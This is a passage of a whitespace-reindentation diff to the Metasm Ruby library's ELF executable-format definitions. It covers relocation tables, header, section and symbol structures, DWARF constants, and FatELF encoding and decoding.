'FPTR32MSB', + 0x45 => 'FPTR32LSB', 0x46 => 'FPTR64MSB', + 0x47 => 'FPTR64LSB', + 0x48 => 'PCREL60B', 0x49 => 'PCREL21B', + 0x4a => 'PCREL21M', 0x4b => 'PCREL21F', + 0x4c => 'PCREL32MSB', 0x4d => 'PCREL32LSB', + 0x4e => 'PCREL64MSB', 0x4f => 'PCREL64LSB', + 0x52 => 'LTOFF_FPTR22', 0x53 => 'LTOFF_FPTR64I', + 0x54 => 'LTOFF_FPTR32MSB', 0x55 => 'LTOFF_FPTR32LSB', + 0x56 => 'LTOFF_FPTR64MSB', 0x57 => 'LTOFF_FPTR64LSB', + 0x5c => 'SEGREL32MSB', 0x5d => 'SEGREL32LSB', + 0x5e => 'SEGREL64MSB', 0x5f => 'SEGREL64LSB', + 0x64 => 'SECREL32MSB', 0x65 => 'SECREL32LSB', + 0x66 => 'SECREL64MSB', 0x67 => 'SECREL64LSB', + 0x6c => 'REL32MSB', 0x6d => 'REL32LSB', + 0x6e => 'REL64MSB', 0x6f => 'REL64LSB', + 0x74 => 'LTV32MSB', 0x75 => 'LTV32LSB', + 0x76 => 'LTV64MSB', 0x77 => 'LTV64LSB', + 0x79 => 'PCREL21BI', 0x7a => 'PCREL22', + 0x7b => 'PCREL64I', 0x80 => 'IPLTMSB', + 0x81 => 'IPLTLSB', 0x85 => 'SUB', + 0x86 => 'LTOFF22X', 0x87 => 'LDXMOV', + 0x91 => 'TPREL14', 0x92 => 'TPREL22', + 0x93 => 'TPREL64I', 0x96 => 'TPREL64MSB', + 0x97 => 'TPREL64LSB', 0x9a => 'LTOFF_TPREL22', + 0xa6 => 'DTPMOD64MSB', 0xa7 => 'DTPMOD64LSB', + 0xaa => 'LTOFF_DTPMOD22', 0xb1 => 'DTPREL14', + 0xb2 => 'DTPREL22', 0xb3 => 'DTPREL64I', + 0xb4 => 'DTPREL32MSB', 0xb5 => 'DTPREL32LSB', + 0xb6 => 'DTPREL64MSB', 0xb7 => 'DTPREL64LSB', + 0xba => 'LTOFF_DTPREL22' }, + 'M32' => { 0 => 'NONE', 1 => '32', 2 => '32_S', 3 => 'PC32_S', + 4 => 'GOT32_S', 5 => 'PLT32_S', 6 => 'COPY', + 7 => 'GLOB_DAT', 8 => 'JMP_SLOT', 9 => 'RELATIVE', + 10 => 'RELATIVE_S' }, + 'MIPS' => { + 0 => 'NONE', 1 => '16', 2 => '32', 3 => 'REL32', + 4 => '26', 5 => 'HI16', 6 => 'LO16', 7 => 'GPREL16', + 8 => 'LITERAL', 9 => 'GOT16', 10 => 'PC16', + 11 => 'CALL16', 12 => 'GPREL32', + 16 => 'SHIFT5', 17 => 'SHIFT6', 18 => '64', + 19 => 'GOT_DISP', 20 => 'GOT_PAGE', 21 => 'GOT_OFST', + 22 => 'GOT_HI16', 23 => 'GOT_LO16', 24 => 'SUB', + 25 => 'INSERT_A', 26 => 'INSERT_B', 27 => 'DELETE', + 28 => 'HIGHER', 29 => 'HIGHEST', 30 => 'CALL_HI16', + 31 => 'CALL_LO16', 32 => 'SCN_DISP', 33 => 'REL16', + 34 => 'ADD_IMMEDIATE', 35 => 'PJUMP', 36 => 'RELGOT', + 37 => 'JALR', 38 => 'TLS_DTPMOD32', 39 => 'TLS_DTPREL32', + 40 => 'TLS_DTPMOD64', 41 => 'TLS_DTPREL64', + 42 => 'TLS_GD', 43 => 'TLS_LDM', 44 => 'TLS_DTPREL_HI16', + 45 => 'TLS_DTPREL_LO16', 46 => 'TLS_GOTTPREL', + 47 => 'TLS_TPREL32', 48 => 'TLS_TPREL64', + 49 => 'TLS_TPREL_HI16', 50 => 'TLS_TPREL_LO16', + 51 => 'GLOB_DAT', 52 => 'NUM' }, + 'PPC' => { 0 => 'NONE', + 1 => 'ADDR32', 2 => 'ADDR24', 3 => 'ADDR16', + 4 => 'ADDR16_LO', 5 => 'ADDR16_HI', 6 => 'ADDR16_HA', + 7 => 'ADDR14', 8 => 'ADDR14_BRTAKEN', 9 => 'ADDR14_BRNTAKEN', + 10 => 'REL24', 11 => 'REL14', + 12 => 'REL14_BRTAKEN', 13 => 'REL14_BRNTAKEN', + 14 => 'GOT16', 15 => 'GOT16_LO', + 16 => 'GOT16_HI', 17 => 'GOT16_HA', + 18 => 'PLTREL24', 19 => 'COPY', + 20 => 'GLOB_DAT', 21 => 'JMP_SLOT', + 22 => 'RELATIVE', 23 => 'LOCAL24PC', + 24 => 'UADDR32', 25 => 'UADDR16', + 26 => 'REL32', 27 => 'PLT32', + 28 => 'PLTREL32', 29 => 'PLT16_LO', + 30 => 'PLT16_HI', 31 => 'PLT16_HA', + 32 => 'SDAREL16', 33 => 'SECTOFF', + 34 => 'SECTOFF_LO', 35 => 'SECTOFF_HI', + 36 => 'SECTOFF_HA', 67 => 'TLS', + 68 => 'DTPMOD32', 69 => 'TPREL16', + 70 => 'TPREL16_LO', 71 => 'TPREL16_HI', + 72 => 'TPREL16_HA', 73 => 'TPREL32', + 74 => 'DTPREL16', 75 => 'DTPREL16_LO', + 76 => 'DTPREL16_HI', 77 => 'DTPREL16_HA', + 78 => 'DTPREL32', 79 => 'GOT_TLSGD16', + 80 => 'GOT_TLSGD16_LO', 81 => 'GOT_TLSGD16_HI', + 82 => 'GOT_TLSGD16_HA', 83 => 'GOT_TLSLD16', + 84 => 'GOT_TLSLD16_LO', 85 => 'GOT_TLSLD16_HI', + 86 => 'GOT_TLSLD16_HA', 87 => 'GOT_TPREL16', + 88 => 'GOT_TPREL16_LO', 89 => 'GOT_TPREL16_HI', + 90 => 'GOT_TPREL16_HA', 101 => 'EMB_NADDR32', + 102 => 'EMB_NADDR16', 103 => 'EMB_NADDR16_LO', + 104 => 'EMB_NADDR16_HI', 105 => 'EMB_NADDR16_HA', + 106 => 'EMB_SDAI16', 107 => 'EMB_SDA2I16', + 108 => 'EMB_SDA2REL', 109 => 'EMB_SDA21', + 110 => 'EMB_MRKREF', 111 => 'EMB_RELSEC16', + 112 => 'EMB_RELST_LO', 113 => 'EMB_RELST_HI', + 114 => 'EMB_RELST_HA', 115 => 'EMB_BIT_FLD', + 116 => 'EMB_RELSDA' }, + 'SPARC' => { 0 => 'NONE', 1 => '8', 2 => '16', 3 => '32', + 4 => 'DISP8', 5 => 'DISP16', 6 => 'DISP32', + 7 => 'WDISP30', 8 => 'WDISP22', 9 => 'HI22', + 10 => '22', 11 => '13', 12 => 'LO10', 13 => 'GOT10', + 14 => 'GOT13', 15 => 'GOT22', 16 => 'PC10', + 17 => 'PC22', 18 => 'WPLT30', 19 => 'COPY', + 20 => 'GLOB_DAT', 21 => 'JMP_SLOT', 22 => 'RELATIVE', + 23 => 'UA32', 24 => 'PLT32', 25 => 'HIPLT22', + 26 => 'LOPLT10', 27 => 'PCPLT32', 28 => 'PCPLT22', + 29 => 'PCPLT10', 30 => '10', 31 => '11', 32 => '64', + 33 => 'OLO10', 34 => 'HH22', 35 => 'HM10', 36 => 'LM22', + 37 => 'PC_HH22', 38 => 'PC_HM10', 39 => 'PC_LM22', + 40 => 'WDISP16', 41 => 'WDISP19', 42 => 'GLOB_JMP', + 43 => '7', 44 => '5', 45 => '6', 46 => 'DISP64', + 47 => 'PLT64', 48 => 'HIX22', 49 => 'LOX10', 50 => 'H44', + 51 => 'M44', 52 => 'L44', 53 => 'REGISTER', 54 => 'UA64', + 55 => 'UA16', 56 => 'TLS_GD_HI22', 57 => 'TLS_GD_LO10', + 58 => 'TLS_GD_ADD', 59 => 'TLS_GD_CALL', + 60 => 'TLS_LDM_HI22', 61 => 'TLS_LDM_LO10', + 62 => 'TLS_LDM_ADD', 63 => 'TLS_LDM_CALL', + 64 => 'TLS_LDO_HIX22', 65 => 'TLS_LDO_LOX10', + 66 => 'TLS_LDO_ADD', 67 => 'TLS_IE_HI22', + 68 => 'TLS_IE_LO10', 69 => 'TLS_IE_LD', + 70 => 'TLS_IE_LDX', 71 => 'TLS_IE_ADD', + 72 => 'TLS_LE_HIX22', 73 => 'TLS_LE_LOX10', + 74 => 'TLS_DTPMOD32', 75 => 'TLS_DTPMOD64', + 76 => 'TLS_DTPOFF32', 77 => 'TLS_DTPOFF64', + 78 => 'TLS_TPOFF32', 79 => 'TLS_TPOFF64' }, + 'X86_64' => { 0 => 'NONE', + 1 => '64', 2 => 'PC32', 3 => 'GOT32', 4 => 'PLT32', + 5 => 'COPY', 6 => 'GLOB_DAT', 7 => 'JMP_SLOT', + 8 => 'RELATIVE', 9 => 'GOTPCREL', 10 => '32', + 11 => '32S', 12 => '16', 13 => 'PC16', 14 => '8', + 15 => 'PC8', 16 => 'DTPMOD64', 17 => 'DTPOFF64', + 18 => 'TPOFF64', 19 => 'TLSGD', 20 => 'TLSLD', + 21 => 'DTPOFF32', 22 => 'GOTTPOFF', 23 => 'TPOFF32' } + } + + DEFAULT_INTERP = '/lib/ld-linux.so.2' + DEFAULT_INTERP64 = '/lib64/ld-linux-x86-64.so.2' + + class SerialStruct < Metasm::SerialStruct + new_int_field :addr, :off, :xword, :sword, :sxword + end + + class Header < SerialStruct + mem :magic, 4, MAGIC + byte :e_class, 0, CLASS + byte :data, 0, DATA + byte :i_version, 'CURRENT', VERSION + byte :abi, 0, ABI + byte :abi_version + mem :ident_unk, 7 + half :type, 0, TYPE + half :machine, 0, MACHINE + word :version, 'CURRENT', VERSION + addr :entry + off :phoff + off :shoff + word :flags + fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} } + halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx + + def self.size elf + x = elf.bitsize >> 3 + 40 + 3*x + end + end + + class Segment < SerialStruct + attr_accessor :type, :offset, :vaddr, :paddr, :filesz, :memsz, :flags, :align + attr_accessor :encoded + + def struct_specialized(elf) + return Segment32 if not elf + case elf.bitsize + when 32; Segment32 + else Segment64 + end + end + + def self.size elf + x = elf.bitsize >> 3 + 8 + 6*x + end + end + + class Segment32 < Segment + word :type, 0, PH_TYPE + off :offset + addr :vaddr + addr :paddr + xword :filesz + xword :memsz + word :flags ; fld_bits :flags, PH_FLAGS + xword :align + end + class Segment64 < Segment + word :type, 0, PH_TYPE + word :flags ; fld_bits :flags, PH_FLAGS + off :offset + addr :vaddr + addr :paddr + xword :filesz + xword :memsz + xword :align + end + + class Section < SerialStruct + word :name_p + word :type, 0, SH_TYPE + xword :flags ; fld_bits :flags, SH_FLAGS + addr :addr + off :offset + xword :size + word :link + word :info + xword :addralign + xword :entsize + + attr_accessor :name, :encoded + + def self.size elf + x = elf.bitsize >> 3 + 16 + 6*x + end + end + + class Symbol < SerialStruct + def struct_specialized(elf) + return Symbol32 if not elf + case elf.bitsize + when 32; Symbol32 + else Symbol64 + end + end + + attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx + attr_accessor :name, :thunk + + def self.size elf + x = elf.bitsize >> 3 + 8 + 2*x + end + end + + class Symbol32 < Symbol + word :name_p + addr :value + xword :size + bitfield :byte, 0 => :type, 4 => :bind + fld_enum :type, SYMBOL_TYPE + fld_enum :bind, SYMBOL_BIND + byte :other + half :shndx, 0, SH_INDEX + end + class Symbol64 < Symbol + word :name_p + bitfield :byte, 0 => :type, 4 => :bind + fld_enum :type, SYMBOL_TYPE + fld_enum :bind, SYMBOL_BIND + byte :other + half :shndx, 0, SH_INDEX + addr :value + xword :size + end + + class Relocation < SerialStruct + attr_accessor :offset, :type, :symbol + def struct_specialized(elf) + return Relocation32 if not elf + case elf.bitsize + when 32; Relocation32 + else Relocation64 + end + end + + def addend ; end + + def self.size elf + x = elf.bitsize >> 3 + 2*x + end + + end + class Relocation32 < Relocation + addr :offset + bitfield :xword, 0 => :type, 8 => :symbol + fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } + fld_enum(:symbol) { |elf, rel| elf.symbols } + end + class Relocation64 < Relocation + addr :offset + bitfield :xword, 0 => :type, 32 => :symbol + fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } + fld_enum(:symbol) { |elf, rel| elf.symbols } + end + class RelocationAddend < Relocation + attr_accessor :addend + def struct_specialized(elf) + return RelocationAddend32 if not elf + case elf.bitsize + when 32; RelocationAddend32 + else RelocationAddend64 + end + end + def self.size elf + x = elf.bitsize >> 3 + 3*x + end + + end + class RelocationAddend32 < RelocationAddend + addr :offset + bitfield :xword, 0 => :type, 8 => :symbol + fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } + fld_enum(:symbol) { |elf, rel| elf.symbols } + sxword :addend + end + class RelocationAddend64 < RelocationAddend + addr :offset + bitfield :xword, 0 => :type, 32 => :symbol + fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } + fld_enum(:symbol) { |elf, rel| elf.symbols } + sxword :addend + end + + class SerialStruct + new_int_field :leb + end + + # libdwarf/dwarf.h + DWARF_TAG = { + 0x01 => 'ARRAY_TYPE', 0x02 => 'CLASS_TYPE', 0x03 => 'ENTRY_POINT', + 0x04 => 'ENUMERATION_TYPE', 0x05 => 'FORMAL_PARAMETER', + 0x08 => 'IMPORTED_DECLARATION', 0x0a => 'LABEL', 0x0b => 'LEXICAL_BLOCK', + 0x0d => 'MEMBER', 0x0f => 'POINTER_TYPE', + 0x10 => 'REFERENCE_TYPE', 0x11 => 'COMPILE_UNIT', 0x12 => 'STRING_TYPE', 0x13 => 'STRUCTURE_TYPE', + 0x15 => 'SUBROUTINE_TYPE', 0x16 => 'TYPEDEF', 0x17 => 'UNION_TYPE', + 0x18 => 'UNSPECIFIED_PARAMETERS', 0x19 => 'VARIANT', 0x1a => 'COMMON_BLOCK', 0x1b => 'COMMON_INCLUSION', + 0x1c => 'INHERITANCE', 0x1d => 'INLINED_SUBROUTINE', 0x1e => 'MODULE', 0x1f => 'PTR_TO_MEMBER_TYPE', + 0x20 => 'SET_TYPE', 0x21 => 'SUBRANGE_TYPE', 0x22 => 'WITH_STMT', 0x23 => 'ACCESS_DECLARATION', + 0x24 => 'BASE_TYPE', 0x25 => 'CATCH_BLOCK', 0x26 => 'CONST_TYPE', 0x27 => 'CONSTANT', + 0x28 => 'ENUMERATOR', 0x29 => 'FILE_TYPE', 0x2a => 'FRIEND', 0x2b => 'NAMELIST', + 0x2c => 'NAMELIST_ITEM', 0x2d => 'PACKED_TYPE', 0x2e => 'SUBPROGRAM', 0x2f => 'TEMPLATE_TYPE_PARAM', + 0x30 => 'TEMPLATE_VALUE_PARAM', 0x31 => 'THROWN_TYPE', 0x32 => 'TRY_BLOCK', 0x33 => 'VARIANT_PART', + 0x34 => 'VARIABLE', 0x35 => 'VOLATILE_TYPE', + } + DWARF_FORM = { + 0x01 => 'ADDR', 0x03 => 'BLOCK2', + 0x04 => 'BLOCK4', 0x05 => 'DATA2', 0x06 => 'DATA4', 0x07 => 'DATA8', + 0x08 => 'STRING', 0x09 => 'BLOCK', 0x0a => 'BLOCK1', 0x0b => 'DATA1', + 0x0c => 'FLAG', 0x0d => 'SDATA', 0x0e => 'STRP', 0x0f => 'UDATA', + 0x10 => 'REF_ADDR', 0x11 => 'REF1', 0x12 => 'REF2', 0x13 => 'REF4', + 0x14 => 'REF8', 0x15 => 'REF_UDATA', 0x16 => 'INDIRECT', + } + DWARF_AT = { + 0x01 => 'SIBLING', 0x02 => 'LOCATION', 0x03 => 'NAME', + 0x09 => 'ORDERING', 0x0a => 'SUBSCR_DATA', 0x0b => 'BYTE_SIZE', + 0x0c => 'BIT_OFFSET', 0x0d => 'BIT_SIZE', 0x0f => 'ELEMENT_LIST', + 0x10 => 'STMT_LIST', 0x11 => 'LOW_PC', 0x12 => 'HIGH_PC', 0x13 => 'LANGUAGE', + 0x14 => 'MEMBER', 0x15 => 'DISCR', 0x16 => 'DISCR_VALUE', 0x17 => 'VISIBILITY', + 0x18 => 'IMPORT', 0x19 => 'STRING_LENGTH', 0x1a => 'COMMON_REFERENCE', 0x1b => 'COMP_DIR', + 0x1c => 'CONST_VALUE', 0x1d => 'CONTAINING_TYPE', 0x1e => 'DEFAULT_VALUE', + 0x20 => 'INLINE', 0x21 => 'IS_OPTIONAL', 0x22 => 'LOWER_BOUND', + 0x25 => 'PRODUCER', 0x27 => 'PROTOTYPED', + 0x2a => 'RETURN_ADDR', + 0x2c => 'START_SCOPE', 0x2e => 'STRIDE_SIZE', 0x2f => 'UPPER_BOUND', + 0x31 => 'ABSTRACT_ORIGIN', 0x32 => 'ACCESSIBILITY', 0x33 => 'ADDRESS_CLASS', + 0x34 => 'ARTIFICIAL', 0x35 => 'BASE_TYPES', 0x36 => 'CALLING_CONVENTION', 0x37 => 'COUNT', + 0x38 => 'DATA_MEMBER_LOCATION', 0x39 => 'DECL_COLUMN', 0x3a => 'DECL_FILE', 0x3b => 'DECL_LINE', + 0x3c => 'DECLARATION', 0x3d => 'DISCR_LIST', 0x3e => 'ENCODING', 0x3f => 'EXTERNAL', + 0x40 => 'FRAME_BASE', 0x41 => 'FRIEND', 0x42 => 'IDENTIFIER_CASE', 0x43 => 'MACRO_INFO', + 0x44 => 'NAMELIST_ITEM', 0x45 => 'PRIORITY', 0x46 => 'SEGMENT', 0x47 => 'SPECIFICATION', + 0x48 => 'STATIC_LINK', 0x49 => 'TYPE', 0x4a => 'USE_LOCATION', 0x4b => 'VARIABLE_PARAMETER', + 0x4c => 'VIRTUALITY', 0x4d => 'VTABLE_ELEM_LOCATION', + } + + class DwarfDebug < SerialStruct + class Node < SerialStruct + leb :index + leb :tag, 0, DWARF_TAG + byte :has_child + attr_accessor :parent, :children, :attributes + class Attribute < SerialStruct + leb :attr, 0, DWARF_AT + leb :form, 0, DWARF_FORM + attr_accessor :data + def to_s(a); "#{@attr}=(#@form)#{dump(@data, a)}" end + end + end + + word :cu_len + half :version, 2 + word :abbrev_off + byte :ptr_sz + attr_accessor :tree # ary of root siblings (Node) + end + + def self.hash_symbol_name(name) + name.unpack('C*').inject(0) { |hash, char| + break hash if char == 0 + hash <<= 4 + hash += char + hash ^= (hash >> 24) & 0xf0 + hash &= 0x0fff_ffff + } + end + + def self.gnu_hash_symbol_name(name) + name.unpack('C*').inject(5381) { |hash, char| + break hash if char == 0 + (hash*33 + char) & 0xffff_ffff + } + end + + attr_accessor :header, :segments, :sections, :tag, :symbols, :relocations, :endianness, :bitsize, :debug + def initialize(cpu=nil) + @header = Header.new + @tag = {} + @symbols = [Symbol32.new] + @symbols.first.shndx = 'UNDEF' + @relocations = [] + @sections = [Section.new] + @sections.first.type = 'NULL' + @segments = [] + if cpu + @endianness = cpu.endianness + @bitsize = cpu.size + else + @endianness = :little + @bitsize = 32 + end + super(cpu) + end + + def shortname; 'elf'; end end class LoadedELF < ELF - attr_accessor :load_address - def addr_to_off(addr) - @load_address ||= 0 - addr >= @load_address ? addr - @load_address : addr if addr - end + attr_accessor :load_address + def addr_to_off(addr) + @load_address ||= 0 + addr >= @load_address ? addr - @load_address : addr if addr + end end class FatELF < ExeFormat - MAGIC = "\xfa\x70\x0e\x1f" # 0xfat..elf - - class SerialStruct < Metasm::SerialStruct - new_int_field :qword - end - - class Header < SerialStruct - mem :magic, 4, MAGIC - word :version, 1 - byte :nfat_arch - byte :reserved - - def decode(fe) - super(fe) - raise InvalidExeFormat, "Invalid FatELF signature #{@magic.unpack('H*').first.inspect}" if @magic != MAGIC - end - - def set_default_values(fe) - @nfat_arch ||= fe.list.length - super(fe) - end - end - class FatArch < SerialStruct - word :machine - bytes :abi, :abi_version, :e_class, :data, :res1, :res2 - qwords :offset, :size - - fld_enum :machine, ELF::MACHINE - fld_enum :abi, ELF::ABI - fld_enum :e_class, ELF::CLASS - fld_enum :data, ELF::DATA - - attr_accessor :encoded - end - - def encode_byte(val) Expression[val].encode(:u8, @endianness) end - def encode_word(val) Expression[val].encode(:u16, @endianness) end - def encode_qword(val) Expression[val].encode(:u64, @endianness) end - def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end - - attr_accessor :header, :list - def initialize - @endianness = :little - @list = [] - super() - end - - def decode - @header = Header.decode(self) - @list = [] - @header.nfat_arch.times { @list << FatArch.decode(self) } - @list.each { |e| - e.encoded = @encoded[e.offset, e.size] || EncodedData.new - } - end - - def encode - @header ||= Header.new - @encoded = @header.encode(self) - @list.map! { |f| - if f.kind_of? ExeFormat - e = f - f = FatArch.new - f.encoded = e.encode_string - h = e.header - f.machine, f.abi, f.abi_version, f.e_class, f.data = - h.machine, h.abi, h.abi_version, h.e_class, h.data - end - f.offset = new_label('fat_off') - f.size = f.encoded.size - @encoded << f.encode(self) - f - } - bd = {} - @list.each { |f| - @encoded.align 4096 - bd[f.offset] = @encoded.length if f.offset.kind_of? String - @encoded << f.encoded - } - @encoded.fixup! bd - end - - def [](i) AutoExe.decode(@list[i].encoded) if @list[i] end - def <<(exe) @list << exe ; self end - - def self.autoexe_load(*a) - fe = super(*a) - fe.decode - # TODO have a global callback or whatever to prompt the user - # which file he wants to load in the dasm - puts "FatELF: using 1st archive member" if $VERBOSE - fe[0] - end - - def shortname; 'fatelf'; end + MAGIC = "\xfa\x70\x0e\x1f" # 0xfat..elf + + class SerialStruct < Metasm::SerialStruct + new_int_field :qword + end + + class Header < SerialStruct + mem :magic, 4, MAGIC + word :version, 1 + byte :nfat_arch + byte :reserved + + def decode(fe) + super(fe) + raise InvalidExeFormat, "Invalid FatELF signature #{@magic.unpack('H*').first.inspect}" if @magic != MAGIC + end + + def set_default_values(fe) + @nfat_arch ||= fe.list.length + super(fe) + end + end + class FatArch < SerialStruct + word :machine + bytes :abi, :abi_version, :e_class, :data, :res1, :res2 + qwords :offset, :size + + fld_enum :machine, ELF::MACHINE + fld_enum :abi, ELF::ABI + fld_enum :e_class, ELF::CLASS + fld_enum :data, ELF::DATA + + attr_accessor :encoded + end + + def encode_byte(val) Expression[val].encode(:u8, @endianness) end + def encode_word(val) Expression[val].encode(:u16, @endianness) end + def encode_qword(val) Expression[val].encode(:u64, @endianness) end + def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end + def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end + + attr_accessor :header, :list + def initialize + @endianness = :little + @list = [] + super() + end + + def decode + @header = Header.decode(self) + @list = [] + @header.nfat_arch.times { @list << FatArch.decode(self) } + @list.each { |e| + e.encoded = @encoded[e.offset, e.size] || EncodedData.new + } + end + + def encode + @header ||= Header.new + @encoded = @header.encode(self) + @list.map! { |f| + if f.kind_of? ExeFormat + e = f + f = FatArch.new + f.encoded = e.encode_string + h = e.header + f.machine, f.abi, f.abi_version, f.e_class, f.data = + h.machine, h.abi, h.abi_version, h.e_class, h.data + end + f.offset = new_label('fat_off') + f.size = f.encoded.size + @encoded << f.encode(self) + f + } + bd = {} + @list.each { |f| + @encoded.align 4096 + bd[f.offset] = @encoded.length if f.offset.kind_of? String + @encoded << f.encoded + } + @encoded.fixup! bd + end + + def [](i) AutoExe.decode(@list[i].encoded) if @list[i] end + def <<(exe) @list << exe ; self end + + def self.autoexe_load(*a) + fe = super(*a) + fe.decode + # TODO have a global callback or whatever to prompt the user + # which file he wants to load in the dasm + puts "FatELF: using 1st archive member" if $VERBOSE + fe[0] + end + + def shortname; 'fatelf'; end end end @@ -777,90 +777,90 @@ def shortname; 'fatelf'; end #ifndef _ASM typedef struct { /* Version Definition Structure. */ - Elf32_Half vd_version; /* this structures version revision */ - Elf32_Half vd_flags; /* version information */ - Elf32_Half vd_ndx; /* version index */ - Elf32_Half vd_cnt; /* no. of associated aux entries */ - Elf32_Word vd_hash; /* version name hash value */ - Elf32_Word vd_aux; /* no. of bytes from start of this */ - /* verdef to verdaux array */ - Elf32_Word vd_next; /* no. of bytes from start of this */ + Elf32_Half vd_version; /* this structures version revision */ + Elf32_Half vd_flags; /* version information */ + Elf32_Half vd_ndx; /* version index */ + Elf32_Half vd_cnt; /* no. of associated aux entries */ + Elf32_Word vd_hash; /* version name hash value */ + Elf32_Word vd_aux; /* no. of bytes from start of this */ + /* verdef to verdaux array */ + Elf32_Word vd_next; /* no. of bytes from start of this */ } Elf32_Verdef; /* verdef to next verdef entry */ typedef struct { /* Verdef Auxiliary Structure. */ - Elf32_Word vda_name; /* first element defines the version */ - /* name. Additional entries */ - /* define dependency names. */ - Elf32_Word vda_next; /* no. of bytes from start of this */ + Elf32_Word vda_name; /* first element defines the version */ + /* name. Additional entries */ + /* define dependency names. */ + Elf32_Word vda_next; /* no. of bytes from start of this */ } Elf32_Verdaux; /* verdaux to next verdaux entry */ typedef struct { /* Version Requirement Structure. */ - Elf32_Half vn_version; /* this structures version revision */ - Elf32_Half vn_cnt; /* no. of associated aux entries */ - Elf32_Word vn_file; /* name of needed dependency (file) */ - Elf32_Word vn_aux; /* no. of bytes from start of this */ - /* verneed to vernaux array */ - Elf32_Word vn_next; /* no. of bytes from start of this */ + Elf32_Half vn_version; /* this structures version revision */ + Elf32_Half vn_cnt; /* no. of associated aux entries */ + Elf32_Word vn_file; /* name of needed dependency (file) */ + Elf32_Word vn_aux; /* no. of bytes from start of this */ + /* verneed to vernaux array */ + Elf32_Word vn_next; /* no. of bytes from start of this */ } Elf32_Verneed; /* verneed to next verneed entry */ typedef struct { /* Verneed Auxiliary Structure. */ - Elf32_Word vna_hash; /* version name hash value */ - Elf32_Half vna_flags; /* version information */ - Elf32_Half vna_other; - Elf32_Word vna_name; /* version name */ - Elf32_Word vna_next; /* no. of bytes from start of this */ + Elf32_Word vna_hash; /* version name hash value */ + Elf32_Half vna_flags; /* version information */ + Elf32_Half vna_other; + Elf32_Word vna_name; /* version name */ + Elf32_Word vna_next; /* no. of bytes from start of this */ } Elf32_Vernaux; /* vernaux to next vernaux entry */ typedef Elf32_Half Elf32_Versym; /* Version symbol index array */ typedef struct { - Elf32_Half si_boundto; /* direct bindings - symbol bound to */ - Elf32_Half si_flags; /* per symbol flags */ + Elf32_Half si_boundto; /* direct bindings - symbol bound to */ + Elf32_Half si_flags; /* per symbol flags */ } Elf32_Syminfo; #if (defined(_LP64) || ((__STDC__ - 0 == 0) && (!defined(_NO_LONGLONG)))) typedef struct { - Elf64_Half vd_version; /* this structures version revision */ - Elf64_Half vd_flags; /* version information */ - Elf64_Half vd_ndx; /* version index */ - Elf64_Half vd_cnt; /* no. of associated aux entries */ - Elf64_Word vd_hash; /* version name hash value */ - Elf64_Word vd_aux; /* no. of bytes from start of this */ - /* verdef to verdaux array */ - Elf64_Word vd_next; /* no. of bytes from start of this */ + Elf64_Half vd_version; /* this structures version revision */ + Elf64_Half vd_flags; /* version information */ + Elf64_Half vd_ndx; /* version index */ + Elf64_Half vd_cnt; /* no. of associated aux entries */ + Elf64_Word vd_hash; /* version name hash value */ + Elf64_Word vd_aux; /* no. of bytes from start of this */ + /* verdef to verdaux array */ + Elf64_Word vd_next; /* no. of bytes from start of this */ } Elf64_Verdef; /* verdef to next verdef entry */ typedef struct { - Elf64_Word vda_name; /* first element defines the version */ - /* name. Additional entries */ - /* define dependency names. */ - Elf64_Word vda_next; /* no. of bytes from start of this */ + Elf64_Word vda_name; /* first element defines the version */ + /* name. Additional entries */ + /* define dependency names. */ + Elf64_Word vda_next; /* no. of bytes from start of this */ } Elf64_Verdaux; /* verdaux to next verdaux entry */ typedef struct { - Elf64_Half vn_version; /* this structures version revision */ - Elf64_Half vn_cnt; /* no. of associated aux entries */ - Elf64_Word vn_file; /* name of needed dependency (file) */ - Elf64_Word vn_aux; /* no. of bytes from start of this */ - /* verneed to vernaux array */ - Elf64_Word vn_next; /* no. of bytes from start of this */ + Elf64_Half vn_version; /* this structures version revision */ + Elf64_Half vn_cnt; /* no. of associated aux entries */ + Elf64_Word vn_file; /* name of needed dependency (file) */ + Elf64_Word vn_aux; /* no. of bytes from start of this */ + /* verneed to vernaux array */ + Elf64_Word vn_next; /* no. of bytes from start of this */ } Elf64_Verneed; /* verneed to next verneed entry */ typedef struct { - Elf64_Word vna_hash; /* version name hash value */ - Elf64_Half vna_flags; /* version information */ - Elf64_Half vna_other; - Elf64_Word vna_name; /* version name */ - Elf64_Word vna_next; /* no. of bytes from start of this */ + Elf64_Word vna_hash; /* version name hash value */ + Elf64_Half vna_flags; /* version information */ + Elf64_Half vna_other; + Elf64_Word vna_name; /* version name */ + Elf64_Word vna_next; /* no. of bytes from start of this */ } Elf64_Vernaux; /* vernaux to next vernaux entry */ typedef Elf64_Half Elf64_Versym; typedef struct { - Elf64_Half si_boundto; /* direct bindings - symbol bound to */ - Elf64_Half si_flags; /* per symbol flags */ + Elf64_Half si_boundto; /* direct bindings - symbol bound to */ + Elf64_Half si_flags; /* per symbol flags */ } Elf64_Syminfo; #endif /* (defined(_LP64) || ((__STDC__ - 0 == 0) ... */ @@ -873,7 +873,7 @@ def shortname; 'fatelf'; end */ #define VER_NDX_LOCAL 0 /* symbol is local */ #define VER_NDX_GLOBAL 1 /* symbol is global and assigned to */ - /* the base version */ + /* the base version */ #define VER_NDX_LORESERVE 0xff00 /* beginning of RESERVED entries */ #define VER_NDX_ELIMINATE 0xff01 /* symbol is to be eliminated */ @@ -905,7 +905,7 @@ def shortname; 'fatelf'; end #define SYMINFO_FLG_PASSTHRU 0x0002 /* pass-thru symbol for translator */ #define SYMINFO_FLG_COPY 0x0004 /* symbol is a copy-reloc */ #define SYMINFO_FLG_LAZYLOAD 0x0008 /* symbol bound to object to be lazy */ - /* loaded */ + /* loaded */ /* * key values for Syminfo.si_boundto diff --git a/lib/metasm/metasm/exe_format/elf_decode.rb b/lib/metasm/metasm/exe_format/elf_decode.rb index 3ae71c11897c6..0c540902c4501 